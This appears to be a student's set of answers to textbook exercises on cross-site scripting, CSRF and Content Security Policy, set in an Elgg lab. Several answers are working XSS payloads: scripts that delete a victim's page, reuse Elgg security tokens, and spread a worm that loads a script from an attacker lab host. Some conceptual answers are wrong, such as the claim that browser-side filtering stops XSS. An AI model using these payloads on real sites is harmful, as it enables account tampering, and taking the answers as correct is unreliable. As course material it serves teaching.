# Q1: Using LiveHTTPHeader, we find out that the following GET request is used to send an HTTP request to www.example.com to delete a page owned by a user (only the owner of a page can delete the page). http://www.example.com/delete.php?pageid=5 GET /delete.php?pageid=5 Host: www.example.com ... Please write a malicious JavaScript program, which can delete a page owned by the victim if the program is injected into one of the victim’s page from www.example.com.

<script type="text/javascript">

window.onload = function () {

var Ajax=null;

var sendurl="http://www.example.com/delete.php?pageid=5";

Ajax=new XMLHttpRequest();

Ajax.open("GET",sendurl,true);

Ajax.setRequestHeader("Host","www.example.com");

Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

Ajax.send();

}

</script>

# Q2: Using LiveHTTPHeader, we find out that the following POST request is used to send an HTTP request to www.example.com to delete a page owned by a user (only the owner of a page can delete the page). http://www.example.com/delete.php POST /delete.php HTTP/1.1 Host: www.example.com ... Content-Length: 8 pageid=5 Please write a malicious JavaScript program, which can delete a page owned by the victim if the program is injected into one of the victim’s page from www.example.com.

<script type="text/javascript">

window.onload = function () {

var ts="&\_\_elgg\_ts="+elgg.security.token.\_\_elgg\_ts;

var token="&\_\_elgg\_token="+elgg.security.token.\_\_elgg\_token;

var content=ts+token+"&pageid=5";

var samyGuid=47; //FILL IN

if(elgg.session.user.guid!=samyGuid)

{

var Ajax=new XMLHttpRequest();

var sendurl="http://www.example.com/delete.php";

Ajax.open("POST",sendurl,true);

Ajax.setRequestHeader("Host","www.example.com");

Ajax.setRequestHeader("Content-Type","application/x-www-formurlencoded");

Ajax.send(content);

}

}

</script>

# Q3: In Listing C.2 of the book (C is the chapter number of the XSS chapter; its actual value depends on which version of the book you are using), we added a check before sending the Ajax request to modify Samy’s own profile. What is the main purpose of this check? If we do not add this check, can the attack be successful? How come we do not have such a check in the add-friend attack (Listing 10.1)?

If there is no such judgment, when samy puts the attack code on his own personal homepage, the modified content will be displayed immediately, causing the attack code on the homepage to be executed immediately. Change the content of samy's homepage to "samy is my hero ", the original attack code is overwritten

# Q4: To defeat XSS attacks, a developer decides to implement filtering on the browser side. Basically, the developer plans to add JavaScript code on each page, so before data are sent to the server, it filters out any JavaScript code contained inside the data. Let’s assume that the filtering logic can be made perfect. Can this approach prevent XSS attacks?

Yes. Since the key to the XSS attack is to embed malicious javascript code in the victim’s browser, preventing any javascript from being uploaded will undoubtedly prevent any javascript from being downloaded.

# Q5: What are the differences between XSS and CSRF attacks?

The CSRF attack originates from a different target page, while the XSS attack originates from the same page. XSS attacks also involve injecting javascript code into the page.

# Q6: Can the secret token countermeasure be used to defeat XSS attacks?

No, because the injected javascript can do anything that the victim page can usually do, it can easily access the secret token and send a request to the server.

# Q7: Can the same-site cookie countermeasure for CSRF attacks be used to defeat XSS attacks?

No, the XSS attack occurred on the same site, so the server will not suspect anything.

# Q8: To filter out JavaScript code from user input, can we just look for script tags, and remove them?

No, script tags are not the only way to embed javascript; many attributes of HTML tags also include javascript code.

# Q9: If you can modify browser’s behavior, what would you add to browser, so you can help reduce the risks of XSS attacks?

Encode all content sent from the page to ensure that no code is transmitted to the server.

# Q10: There are two typical ways for a program to produce a copy of itself. One way is to get a copy of itself from outside, such as from the underlying system (e.g., files, DOM nodes) and from the network. Another way is not to use any help from outside, but instead generate a copy of itself entirely from the code. There is a name for this approach: it is called a quine program, which, according to Wikipedia, “is a non-empty computer program which takes no input and produces a copy of its own source code as its only output. The standard terms for these programs in the computability theory and computer science literature are self-replicating programs, self-reproducing programs, and selfcopying programs.” The self-replicating JavaScript program shown in Listing 10.3 is not a quine, because it uses document.getElementById() to take an input from the underlying system. Please write a quine program, and put it in a user’s profile in Elgg. When anybody visits this profile, the code will be executed, and it prints out a copy of itself in an alert window. The Wikipedia site has examples of quine programs in a variety of programming languages. If you really want to challenge yourself, please rewrite the code in Listing 10.3, so it is a quine program, and it can do what exactly the code in Listing 10.3 can do, i.e., adding a statement and a copy of the worm to the victim’s profile.

<script type="text/javascript">

window.onload = function () {

var userName=elgg.session.user.name;

var ts="&\_\_elgg\_ts="+elgg.security.token.\_\_elgg\_ts;

var token="&\_\_elgg\_token="+elgg.security.token.\_\_elgg\_token;

var sendurl="http://www.xsslabelgg.com/action/profile/edit";

var desc="<p><b>been attacked!!!<\/b><\/p><script type=\"text\/javascript\"

src=\"http:\/\/www.csrflabattacker.com\/task6.js\"><\/script>";

var content="name="+userName+ts+token+"&description="+desc;

var samyGuid=47; //FILL IN

if(elgg.session.user.guid!=samyGuid)

{

var Ajax=new XMLHttpRequest();

var sendurl="http://www.xsslabelgg.com/action/profile/edit";

Ajax.open("POST",sendurl,true);

Ajax.setRequestHeader("Host","www.xsslabelgg.com");

Ajax.setRequestHeader("Content-Type","application/x-www-formurlencoded");

Ajax.send(content);

}

}

</script>

# Q11: . The fundamental cause of XSS vulnerabilities is that HTML allows JavaScript code to be mixed with data. From the security perspective, mixing code with data is very dangerous. XSS gives us an example. Please provide two other examples that can be used to demonstrate that mixing code with data is bad for security.

Cases where mixing code and data is harmful to security:

Format string vulnerabilities and exploits.

Buffer overflow attack.

Shell-shock attack.

SQL injection attacks.

# Q12: Why is the CSP (Content Security Policy) effective in defeating the Cross-Site Scripting attack? What is the downside of this approach?

Tell the browser which sources can be trusted

The price of csp is that javascript code and html webpages are completely separated, which brings a lot of inconvenience to developers

# Q13: Can CSP (Content Security Policy) be used to defeat CSRF attacks? Why or why not?

No. CSRF was made on a malicious website. It has nothing to do with csp.

# Q14: The following PHP code returns a web page. It also sets the CSP (Content Security Policy) for the JavaScript code running inside the page. Which JavaScript code is allowed to execute inside this page. ➍ ➎ Click me ➏ </html

<?php

$cspheader = "Content-Security-Policy:".

"default-src ’self’;".

"script-src ’self’ ’nonce-1rA2345’ ’example.com’".

"";

header($cspheader);

?>

<html>

<script type="text/javascript" nonce="1rA2345">

... JavaScript Code ... ①

</script>

<script type="text/javascript" nonce="2rB3333">

... JavaScript Code ... ②

</script>

<script type="text/javascript">

... JavaScript Code ... ③

</script>

<script src="script.js"> </script> ④

<script src="https://example.com/script2.js"> </script> ⑤

<button onclick="alert(’hello’)">Click me</button> ⑥

</html>

## Ans: ①④⑤